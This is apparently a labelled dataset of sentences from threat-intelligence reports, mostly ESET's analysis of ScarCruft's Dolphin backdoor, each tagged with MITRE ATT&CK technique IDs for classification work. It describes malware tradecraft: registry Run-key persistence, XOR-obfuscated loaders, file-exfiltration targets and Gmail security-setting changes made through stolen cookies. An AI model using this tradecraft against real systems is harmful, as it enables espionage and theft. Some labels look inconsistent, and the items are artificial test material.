{"sentence": "A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ScarCruft profile ScarCruft, also known as APT37 or Reaper, is an espionage group that has been operating since at least 2012.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It primarily focuses on South Korea, but other Asian countries also have been targeted.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ScarCruft seems to be interested mainly in government and military organizations, and companies in various industries linked to the interests of North Korea.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin overview In 2021, ScarCruft conducted a watering-hole attack on a South Korean online newspaper focused on North Korea.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The attack consisted of multiple components, including an Internet Explorer exploit and shellcode leading to a backdoor named BLUELIGHT, reported by Volexity and Kaspersky.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In those reports, the BLUELIGHT backdoor was described as the attack’s final payload.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "However, when analyzing the attack, we discovered through ESET telemetry a second, more sophisticated backdoor, deployed on selected victims via BLUELIGHT.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "We named this backdoor Dolphin based on a PDB path found in the executable.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "While the BLUELIGHT backdoor performs basic reconnaissance and evaluation of the compromised machine after exploitation, Dolphin is more sophisticated and manually deployed only against selected victims.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Both backdoors are capable of exfiltrating files from a path specified in a command, but Dolphin also actively searches drives and automatically exfiltrates files with extensions of interest to ScarCruft.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Figure 1 provides an overview of the attack components leading to the execution of the Dolphin backdoor.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Overview of the attack components leading to the execution of the Dolphin backdoor Dolphin analysis Analysis of Dolphin’s components and their capabilities is provided in the following section.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The analysis is based on the first version of the backdoor that we found, 1.9 (based on a string found in the code) with additional information about changes in newer versions.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "A summarized description of the version changes can be found in the Dolphin evolution section.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin installer Ensuing sections describe the installer and loader components responsible for the execution of the Dolphin backdoor in the analyzed attack scenario.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It is worth noting that this installer and the deployed loader are not exclusive to Dolphin, and were previously seen used with other ScarCruft malware.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The installer shellcode follows these main objectives: Download and deploy a Python interpreter Generate and deploy a loading chain with its payload Ensure persistence of the loading chain", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The installer downloads a CAB file from OneDrive, containing a legitimate Python 2.7 interpreter.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The CAB is unpacked to %APPDATA%, and depending on architecture, the interpreter ends up in one of the following directories:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "%appdata%\\Python27(32)\\ %appdata%\\Python27(64)\\", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The installer generates two file paths for loading-chain components, <loader_step_1> and <loader_encrypted_step_2>, with the format <base_dir>\\<inf_name>\\<dll_name>.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "<base_dir> is randomly selected from %PROGRAMDATA% %PUBLIC% %APPDATA%\\Microsoft %APPDATA%\\Microsoft\\Windows %LOCALAPPDATA% %LOCALAPPDATA%\\Microsoft %LOCALAPPDATA%\\Microsoft\\Windows <inf_name> and <dll_name> are randomly selected from existing filenames (without extension) in %windir%\\inf\\*.inf and %windir%\\system32\\*.dll.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "To generate Step 1 of Loader, it uses a script template that is filled with randomly generated names (variables, function).", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The template with generated example is shown in Figure 2. Figure 2.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 1 template and generated example", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The script is then written to <loader_step_1>.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 2 (embedded in the installer) containing the rest of the loading chain, including the payload, is encrypted with a one-byte XOR key derived from the current time and written to <loader_encrypted_step_2>.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In order to persist the start of the loading chain, the installer sets a Run registry value: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\<random_run_name>\\”%appdata%\\Python27({32|64})\\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>” The <random_run_name> is randomly selected from existing filenames matching %WINDIR%\\inf\\*.inf, discarding the .inf extension.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "To start the loading chain after installation, it creates a one-time scheduled task.", "labels": ["T1053.005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin loader The Dolphin loader consists of a Python script and shellcode.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 1, the Python script, reads a specified file, XOR-decrypts its contents, and executes the resulting shellcode.", "labels": ["T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 2, shellcode, creates a host process (random CLI executable from %WINDIR%\\System32\\*.exe), XOR-decrypts further shellcode carried within itself, and injects it into the created process.", "labels": ["T1055", "T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 3, another shellcode, XOR-decrypts an embedded PE file – the Dolphin backdoor – and loads and executes it using a custom PE loader.", "labels": ["T1055", "T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin backdoor Dolphin is a backdoor that collects information and executes commands issued by its operators.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The backdoor is a regular Windows executable, written in C++.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It communicates with Google Drive cloud storage, which is used as its C&C server.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "We named the backdoor Dolphin based on a PDB path found in the executable: D:\\Development\\BACKDOOR\\Dolphin\\x64\\Release\\Dolphin.pdb Persistence The backdoor periodically checks and creates its own persistence by making sure that Step 1 of the loader is run every time the system is started, via a registry Run value, in the same way as in the installer: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\<random_run_name>\\”%appdata%\\Python27({32|64})\\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>” Capabilities The following basic information about the computer and the backdoor is collected: Current backdoor configuration Username Computer name Local and external IP address List of installed security products RAM size and usage Result of check for debugger and other inspection tools (such as Wireshark) OS version Current time Malware version Dolphin downloads commands, issued by its operators, from Google Drive storage and executes them.", "labels": ["T1016", "T1033", "T1082", "T1518.001", "T1547.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "After execution, the output of commands is uploaded.", "labels": ["T1041"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Most of Dolphin’s capabilities are controlled through commands.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The most relevant capabilities are described below.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "File exfiltration By default, Dolphin searches all non-fixed drives (USBs), creates directory listings and exfiltrates files by extension.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This search can be extended to fixed drives (HDDs), via dedicated commands.", "labels": ["T1005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The following file extensions of interest, specific to media, documents, emails, and certificates, are specified in the default configuration: jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rtf, nxl, amr, 3gp, m4a, txt, msg, key, der, cer, docx, xlsx, pptx, pfx, mp3 Besides this automatic search, specific files can be exfiltrated.", "labels": ["T1005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In the newer versions, the default search was extended to fixed drives.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The command to get specific files was improved, by caching/storing it in the configuration until completion.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Portable devices Among regular drives, Dolphin also searches portable devices such as smartphones, using the Windows Portable Device (WPD) API.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It creates directory listings and exfiltrates files.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This functionality appeared to be under development in the first version we found, for several reasons: Relying on a hardcoded path with a username that likely doesn’t exist on the victim’s computer Missing variable initialization – some variables are assumed to be zero-initialized, or dereferenced as pointers without initialization Missing extension filtering The code is heavily based on Microsoft’s Portable Devices COM API code sample.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Apart from automatic search, the operators can specify individual files to be exfiltrated from portable devices.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In newer versions, this capability was finished and improved by adding extension filtering.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "For unknown reasons, the command to retrieve specific files from portable devices was removed.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Keylogging and screenshots Dolphin logs keystrokes for windows with titles containing substrings specified in its configuration.", "labels": ["T1056.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The defaults are chrome and internet explore (sic).", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This is done via the GetAsyncKeyState API, with keystrokes being logged along with the window name and current time.", "labels": ["T1056.001", "T1106"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Screenshots are also taken at a configurable interval; the default is once every 30 seconds.", "labels": ["T1113"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Screenshots and keylogging are enabled by default, and can be toggled via a command.", "labels": ["T1056.001", "T1113"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Shellcode Dolphin can receive shellcode for execution.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The shellcode is stored in the registry, under one of the following keys: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Classic\\<random_number> HKCU\\Software\\Microsoft\\OneDrive\\Update\\<random_number> HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\HttpsSoftware\\Microsoft\\Internet Explorer\\Zone\\<random_number> (two subkeys as one, likely a coding error)", "labels": ["T1112"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It can be executed either locally or in a specified separate process that is created and injected.", "labels": ["T1055"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In the newer versions, the shellcode is stored in files instead of the registry, and the stored shellcode is loaded and executed on Dolphin’s startup, which was not the case in version 1.9 (the original version we analyzed).", "labels": ["T1547.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Shell commands Dolphin can execute shell commands; this is done via the popen API and their output is retrieved.", "labels": ["T1059.003", "T1106"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Stealing credentials Dolphin can retrieve credentials from browsers in the form of saved passwords and cookies.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The following browsers are supported: Chrome Edge Internet Explorer In version 2.2, this capability was removed, presumably to avoid detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It was later restored in version 3.0, but in a different form.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It is now dynamically received from the C&C in the form of shellcode.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Google account Another one of Dolphin’s commands modifies the settings of the currently logged-in Google account, lowering its security relative to default settings.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It steals the existing cookie of the logged-in account from the browser and crafts requests that modify the settings.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "First, it enables access to Gmail via the IMAP protocol by sending an HTTP POST request to: https://mail.google.com/mail/u/0/?ik=<GM_ID_KEY>&at=<GM_ACTION_TOKEN>&view=up&act=prefs", "labels": ["T1071.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Then it enables “less secure app access” by sending an undocumented RPC request via an HTTP POST to: https://myaccount.google.com/_/AccountSettingsUi/data/batchexecute These modifications are referred to as “thunder access” in the backdoor, likely being a reference to the Thunderbird email client.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Accessing their victims’ inboxes with a third-party client via IMAP probably helps ScarCruft operators maintain access to the victims’ emails after stealing credentials, which may not be enough on their own, due to Google’s detection of suspicious login attempts.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This feature was found in versions 1.9 and 2.0 of the backdoor; it is not present in versions 2.2 or 3.0.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Data staging Dolphin exfiltrates data to Google Drive storage, staging the data in encrypted ZIP archives before upload.", "labels": ["T1041", "T1074.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The backdoor also maintains a list of files in the form of MD5 hashes, in order to avoid uploading the same file multiple times.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This list can be reset via a dedicated command.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Configuration The backdoor contains an initial default configuration that is persisted on first run and loaded on subsequent runs.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It is stored in the file %ProgramData%\\<variable_cfg_name>.inf, where <variable_cfg_name> is randomly selected from existing filenames matching %windir%\\inf\\*.inf.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The content is encrypted using AES CBC with random 16-byte keys and IVs, which are stored at the file’s beginning.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The configuration uses JSON format, with hash-like keys.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "An example of a decrypted configuration is shown in Figure 3.", "labels": ["T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin backdoor configuration The configuration can be modified through commands.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It contains, among others, the following: Encryption keys Credentials for Google Drive API access Window titles to keylog List of file extensions to exfiltrate Dolphin evolution Since the initial discovery of Dolphin in April 2021, we have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.", "labels": ["T1056.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Figure 4 summarizes the versions seen; a more detailed description of the version changes is provided below.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin evolution timeline November 2021 – version 2.0 Version 2.0 introduced the following changes to the version found in April 2021:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dynamic resolution of suspicious APIs instead of static imports (for example GetAsyncKeyState) added Shellcode capability finished and improved Persisted shellcode stored in files instead of registry Persisted shellcode loaded and executed on Dolphin startup (previously missing) Portable device file exfiltration capability finished and improved Exfiltration by extensions added Recognition of internal memory and SD cards (from device ID) added Command to get files from portable devices effectively a NOP Device/drive detection and file exfiltration improved Dolphin now unconditionally creates directory listings and exfiltrates files by extension every 30 minutes for all drives and devices (fixed drives, removable drives, portable devices).", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Previously, it was just for removable drives; fixed drives were disabled by default and the code used for accessing portable devices was buggy and broken. December 2021 – version 2.2 Changes introduced in version 2.2 focused mainly on detection evasion.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The credential-stealing capability and commands related to it – the credential stealing and Google account commands – were removed.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Most strings in this version are base64 encoded.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "January 2022 – version 3.0", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In version 3.0, the code was reorganized and classes renamed, with capabilities remaining unchanged.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The base64-encoded strings were plaintext again in this version.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "We observed the following additional changes: Command to steal credentials restored in a different form; it now executes shellcode from the C&C Command to get files from portable devices completely removed Command to get files from drives is now cached/stored in the configuration until completion.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "If interrupted (for example by computer shutdown), it is done on the next run.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This is also useful in the case of removable drives that may not be connected when the command is issued.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Internet connection check added (https://www.microsoft.com); no malicious code is executed if offline The differences between versions 2.2 and 3.0, especially the discrepancy in string encoding, suggest the possibility that the versions were being developed in parallel by different people.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Conclusion Dolphin is another addition to ScarCruft’s extensive arsenal of backdoors abusing cloud storage services.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "After being deployed on selected targets, it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.", "labels": ["T1041", "T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "One unusual capability found in prior versions of the backdoor is the ability to modify the settings of victims’ Google and Gmail accounts to lower their security, presumably in order to maintain account access for the threat actors.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "During our analysis of multiple versions of the Dolphin backdoor, we saw continued development and attempts to evade detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "IoCs SHA-1FilenameESET detection nameDescription F9F6C0184CEE9C1E4E15C2A73E56D7B927EA685BN/AWin64/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "MSDolphin backdoor version 1.9 (x64) 5B70453AB58824A65ED0B6175C903AA022A87D6AN/AWin32/Spy.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "QETDolphin backdoor version 2.0 (x86) 21CA0287EC5EAEE8FB2F5D0542E378267D6CA0A6N/AWin64/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "MSDolphin backdoor version 2.0 (x64) D9A369E328EA4F1B8304B6E11B50275F798E9D6BN/AWin32/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "UYODolphin backdoor version 3.0 (x86) 2C6CC71B7E7E4B28C2C176B504BC5BDB687C4D41N/AWin64/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "MSDolphin backdoor version 3.0 (x64) MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "TacticIDNameDescription Initial AccessT1189Drive-by CompromiseScarCruft uses watering-hole attacks to compromise victims.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ExecutionT1059.006Command and Scripting Interpreter:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "PythonThe Dolphin loader a uses Python script.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1059.007Command and Scripting Interpreter: JavaScriptScarCruft used malicious JavaScript for a watering-hole attack. T1203Exploitation for Client ExecutionScarCruft exploits CVE-2020-1380 to compromise victims.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1106Native", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "APIDolphin uses Windows API functions to execute files and inject processes.", "labels": ["T1055", "T1106"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "PersistenceT1053.005Scheduled Task/Job: Scheduled TaskDolphin uses a temporary scheduled task to start after installation. T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderDolphin uses Run keys for persistence of its loader.", "labels": ["T1053.005", "T1547.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Defense EvasionT1055.002Process Injection: Portable Executable InjectionDolphin can inject into other processes.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1027Obfuscated Files or InformationDolphin has encrypted components.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Credential AccessT1555.003Credentials from Password Stores: Credentials from Web BrowsersDolphin can obtain saved passwords from browsers.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1539Steal Web Session CookieDolphin can obtain cookies from browsers.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "DiscoveryT1010Application Window DiscoveryDolphin captures the title of the active window.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1083File and Directory DiscoveryDolphin can obtain file and directory listings.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1518.001Software Discovery: Security Software DiscoveryDolphin obtains a list of installed security software.", "labels": ["T1518.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1082System Information DiscoveryDolphin obtains various system information including OS version, computer name and RAM size.", "labels": ["T1082"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1016System Network Configuration DiscoveryDolphin obtains the device’s local and external IP address.", "labels": ["T1016"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1016.001System Network Configuration Discovery: Internet Connection DiscoveryDolphin checks internet connectivity.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1033System Owner/User DiscoveryDolphin obtains the victim’s username.", "labels": ["T1033"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1124System Time DiscoveryDolphin obtains the victim’s current time.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "CollectionT1056.001Input Capture:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "KeyloggingDolphin can log keystrokes.", "labels": ["T1056.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1560.002Archive Collected Data: Archive via LibraryUsing the Zipper library, Dolphin compresses and encrypts collected data before exfiltration.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1119Automated CollectionDolphin periodically collects files with certain extensions from drives.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1005Data from Local SystemDolphin can collect files from local drives.", "labels": ["T1005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1025Data from Removable MediaDolphin can collect files from removable drives.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1074.001Data Staged: Local Data StagingDolphin stages collected data in a directory before exfiltration.", "labels": ["T1074.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "CaptureDolphin can capture screenshots.", "labels": ["T1113"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Command and ControlT1071.001Application Layer Protocol: Web ProtocolsDolphin uses HTTPS to communicate with Google Drive.", "labels": ["T1071.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1102.002Web Service: Bidirectional CommunicationDolphin communicates with Google Drive to download commands and exfiltrate data.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ExfiltrationT1020Automated ExfiltrationDolphin periodically exfiltrates collected data.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1567.002Exfiltration Over Web Service: Exfiltration to Cloud StorageDolphin exfiltrates data to Google Drive.", "labels": ["T1041"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "30 Nov 2022 - 11:30AM", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Threat Actors Utilize Undetected Loaders for Stealthy Attacks SharpPanda, an APT group originating from China, has seen a rise in its cyber-attack operations starting from at least 2018.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The APT group utilizes spear-phishing techniques to obtain initial access, employing a combination of outdated Microsoft Office document vulnerabilities, novel evasion techniques, and highly potent backdoor malware.", "labels": ["T1072"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "This backdoor enables Threat Actors (TAs) to exfiltrate system information, files, and other sensitive data from the targeted victim’s machine.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Cyble Research and Intelligence Labs (CRIL) recently observed an ongoing campaign by SharpPanda APT.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Previously, this APT group has been observed targeting government officials, particularly in Southeast Asian countries.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "This latest campaign specifically targets high-level government officials from G20 nations.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The G20, or Group of Twenty, is an international forum comprising 19 countries and the European Union (EU).", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Established in 1999, its primary objective is to foster global economic cooperation and address key challenges impacting the worldwide economy.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
